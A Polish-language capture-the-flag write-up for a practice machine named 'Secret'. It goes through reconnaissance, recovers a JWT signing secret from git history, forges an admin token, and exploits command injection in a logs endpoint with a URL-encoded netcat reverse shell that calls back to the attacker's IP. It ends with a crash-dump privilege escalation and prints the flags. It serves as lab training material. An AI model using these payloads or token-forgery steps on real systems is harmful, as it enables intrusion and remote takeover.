Secret - 04.11.2021


NMap

┌──(kali㉿kali)-[~/Desktop/secret]                                                                                    
└─$ nmap -sC -sV 10.10.11.120                                                                                                                                                                                                            
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-04 00:21 CET                                                       
Nmap scan report for 10.10.11.120                                                                                     
Host is up (0.068s latency).                                                                                          
Not shown: 997 filtered ports    
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:                
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)                     
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)                                                                          
|_http-server-header: nginx/1.18.0 (Ubuntu)                                                                           
|_http-title: DUMB Docs                     
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs       
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kerne

FeroxBuster

└─$ feroxbuster -u http://10.10.11.120 -w /opt/SecLists/Discovery/Web-Content/common.txt -d 2 -t 50
200        1l       12w       93c http://10.10.11.120/api/experiments                                                
200        1l       12w       93c http://10.10.11.120/api/experiments/configurations
200        1l       12w       93c http://10.10.11.120/api                                                            
301       10l       16w      179c http://10.10.11.120/assets   
301       10l       16w      183c http://10.10.11.120/download                                                        
200      486l     1119w    20720c http://10.10.11.120/docs                                                            
301       10l       16w      187c http://10.10.11.120/assets/css                                                      
301       10l       16w      193c http://10.10.11.120/assets/images                                                   
301       10l       16w      185c http://10.10.11.120/assets/js                                                       
301       10l       16w      195c http://10.10.11.120/assets/plugins                                                  
301       10l       16w      211c http://10.10.11.120/assets/images/features                                          
301       10l       16w      213c http://10.10.11.120/assets/plugins/lightbox                                         
200       21l      170w     1079c http://10.10.11.120/assets/plugins/lightbox/LICENSE                                 
301       10l       16w      223c http://10.10.11.120/assets/plugins/lightbox/dist                                    
301       10l       16w      231c http://10.10.11.120/assets/plugins/lightbox/examples                                
200      659l     1852w    37774c http://10.10.11.120/assets/plugins/lightbox/index.html

Strona główna


Okazuje się, że na stronie można pobrać source code projektu. Warto tam zajrzeć.

Po przegrzebaniu paru plików znalazłem ciekawe linie:

auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXR oLndvcmtzIiwiaWF0IjoxNjI4NzI3NjY5fQ.PFJldSFVDrSoJ-Pg0HOxkGjxQ69gxVO2Kjn7ozw9Crg

hljs-string:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTE0NjU0ZDc3ZjlhNTRlMDBmMDU3NzciLCJuY W1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InJvb3RAZGFzaXRoLndvcmtzIiwiaWF0IjoxNjI4NzI3NjY5fQ.PFJldSFVDrSoJ-Pg0HOxkGjxQ69gxVO2Kjn7ozw9Crg

Strona http://10.10.11.120/docs zawiera opis rejestracji, logowania, weryfikacji użytkowników.

Zatem przystępuje do stworzenia użytkownika.


Wysyłanie POST requesta z użyciem curl

Rejestracja:

curl -i -X POST -H 'Content-Type: application/json' -d '{                                                                                                                           7 ⨯
        "name": "suchy1",
        "email": "test@mail.com",
        "password": "password123"
  }' http://10.10.11.120/api/user/register
  

Logowanie:

curl -i -X POST -H 'Content-Type: application/json' -d '{
        "email": "test@mail.com",
        "password": "password123"
  }' http://10.10.11.120/api/user/login

W odpowiedzi dostałem token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzMzQ2N2NiOTM4OTA0NWI2OTBhZWQiLCJuYW1lIjoic3VjaHkxIiwiZW1haWwiOiJ0ZXN0QG1haWwuY29tIiwiaWF0IjoxNjM1OTkwNDczfQ.6Y8468fnA24BK8gZ4OkzbSfD1l3CPcMTcxdN9Du5AG4

Próba logowania:

curl http://10.10.11.120/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzMzQ2N2NiOTM4OTA0NWI2OTBhZWQiLCJuYW1lIjoic3VjaHkxIiwiZW1haWwiOiJ0ZXN0QG1haWwuY29tIiwiaWF0IjoxNjM1OTkwNDczfQ.6Y8468fnA24BK8gZ4OkzbSfD1l3CPcMTcxdN9Du5AG4'

Odpowiedź:

{"role":{"role":"you are normal user","desc":"suchy1"}}

Tutaj nastąpiło zacięcie.


Jak się okazuje, to projekt zawiera .git. Po wstępnym przeszukaniu nic ciekawego nie znalazłem.

Projekty gita często zawierają brache, commity i inne ukryte rzeczy, które można wydostać. Z pomocą może przyjść apka GitTools

https://github.com/internetwache/GitTools


Użycie GitToola Extractor

./extractor.sh ~/Desktop/secret/local-web/ ~/Desktop/secret/local-web/backup

Szuka frazy TOKEN_SECRET oraz 2 linie przed i po

ack 'TOKEN_SECRET' -A 2 -B 2

Dzięki temu udało się znaleźć jakiś token.

2:TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE

Kolejne zacięcie …


Okazuje się, że trzeba przeprowadzić Forging JWS Token, czyli po części podrobienie takiego tokena.


jwt_tool czyli Forging JWS Token

Narzędzie:

https://github.com/ticarpi/jwt_tool.git

Zatem tak wygląda podrobienie. theadmin, ponieważ w pliku .js było wyraźnie podany jaki nick ma administrator. Pierwszy ciąg to znaleziony TOKEN_SECRET, drugi to mój oryginalny token, który wyrzucił system przy próbie logowania.

python3 jwt_tool.py -I -S hs256 -pc 'name' -pv 'theadmin' -p 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE' eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzMzQ2N2NiOTM4OTA0NWI2OTBhZWQiLCJuYW1lIjoic3VjaHkxIiwiZW1haWwiOiJ0ZXN0QG1haWwuY29tIiwiaWF0IjoxNjM1OTkwNDczfQ.6Y8468fnA24BK8gZ4OkzbSfD1l3CPcMTcxdN9Du5AG4

W ten sposób otrzymałem taki token:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzMzQ2N2NiOTM4OTA0NWI2OTBhZWQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3RAbWFpbC5jb20iLCJpYXQiOjE2MzU5OTA0NzN9.cT1VZLaPCDzWm7LOQ2clnaAEDdE6O-Dsv593Vk1MVLg

Próba weryfikacji udana

curl http://10.10.11.120/api/priv -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzMzQ2N2NiOTM4OTA0NWI2OTBhZWQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3RAbWFpbC5jb20iLCJpYXQiOjE2MzU5OTA0NzN9.cT1VZLaPCDzWm7LOQ2clnaAEDdE6O-Dsv593Vk1MVLg'
{"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}

Logs??

Przy /api/logs, system wyrzuca

undefined może wskazywać na potencjalny command injection.

api/logs?file=/etc/passwd -> {"killed":false,"code":128,"signal":null,"cmd":"git log --oneline /etc/passwd"}

Trzeba zatem zastosować jakiś CI.

:-)

Wyjątkowo długo szukałem działającego reverse shella. Bashowy nie działał, ostatecznie udało się uruchomić reverse shell Netcat OpenBsd

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.96 9001 >/tmp/f

Zatem uruchamiam payload

curl "http://10.10.11.120/api/logs?file=/etc/passwd||%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%31%30%2e%31%36%2e%31%33%30%20%39%30%30%31%20%3e%2f%74%6d%70%2f%66" -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTgzMzQ2N2NiOTM4OTA0NWI2OTBhZWQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3RAbWFpbC5jb20iLCJpYXQiOjE2MzU5OTA0NzN9.cT1VZLaPCDzWm7LOQ2clnaAEDdE6O-Dsv593Vk1MVLg'

I otrzymuję shella na oknie nasłuchiwania.

user.txt

df442912b85bdbc5da14c0b9b87d141c


Privilege Escalation

SUID

Wiadomo, że /opt/count uruchamia się jako root. Jak można to wykorzystać?

W kodzie jest nietypowa komenda setuid(getuid());. Google odesłał mnie do bloga:

https://c-skills.blogspot.com/2008/01/evilness-of-setuidgetuid.html


Linpeas wyrzucił też /var/crash jako folder posiadany przez obecnego użytkownika

Okazało się, że w środku znajdują się pliki .crash z programu /opt/count. Natomiast nie było w nich nic ciekawego. Natomiast z artykułu wynikało wyraźnie, że funkcja może odczytać pliki, które wymagają roota, jeżeli będzie zastąpiona przez inny PID bądź scrashowana.

Zatem program /opt/count został uruchomiony, została podana ścieżka do flagi.

Na drugim monitorze odbywała się obserwacja, czy proces count się pojawi. Za którąś próbą program pojawił się.

kill -11 30640                                                                           
ls                                                                                       
_opt_count.1000.crash                                                                     

Pojawił nowy .crash. Aby go odpakować należy użyć apport-unpack

apport-unpack _opt_count.1000.crash test
cd test                                                    
ls -al                                                     
total 436                                                  
drwxr-xr-x 2 dasith dasith   4096 Nov 11 20:16 .           
drwxrwxrwt 3 root   root     4096 Nov 11 20:16 ..          
-rw-r--r-- 1 dasith dasith      5 Nov 11 20:16 Architecture                                                           
-rw-r--r-- 1 dasith dasith 380928 Nov 11 20:16 CoreDump    
-rw-r--r-- 1 dasith dasith     24 Nov 11 20:16 Date        
-rw-r--r-- 1 dasith dasith     12 Nov 11 20:16 DistroRelease                                                          
-rw-r--r-- 1 dasith dasith     10 Nov 11 20:16 ExecutablePath                                                         
-rw-r--r-- 1 dasith dasith     10 Nov 11 20:16 ExecutableTimestamp                                                    
-rw-r--r-- 1 dasith dasith      5 Nov 11 20:16 ProblemType 
-rw-r--r-- 1 dasith dasith      7 Nov 11 20:16 ProcCmdline                                                            
-rw-r--r-- 1 dasith dasith      4 Nov 11 20:16 ProcCwd     
-rw-r--r-- 1 dasith dasith     53 Nov 11 20:16 ProcEnviron                                                            
-rw-r--r-- 1 dasith dasith   2144 Nov 11 20:16 ProcMaps    
-rw-r--r-- 1 dasith dasith   1338 Nov 11 20:16 ProcStatus  
-rw-r--r-- 1 dasith dasith      2 Nov 11 20:16 Signal      
-rw-r--r-- 1 dasith dasith     29 Nov 11 20:16 Uname       
-rw-r--r-- 1 dasith dasith      3 Nov 11 20:16 UserGroups

Najważniejszy jest plik CoreDump

strings CoreDump

I w środku loga widać, że wykonał się odczyt flagi.

root.txt

dc2a839efda9881e75fd6d59603755dc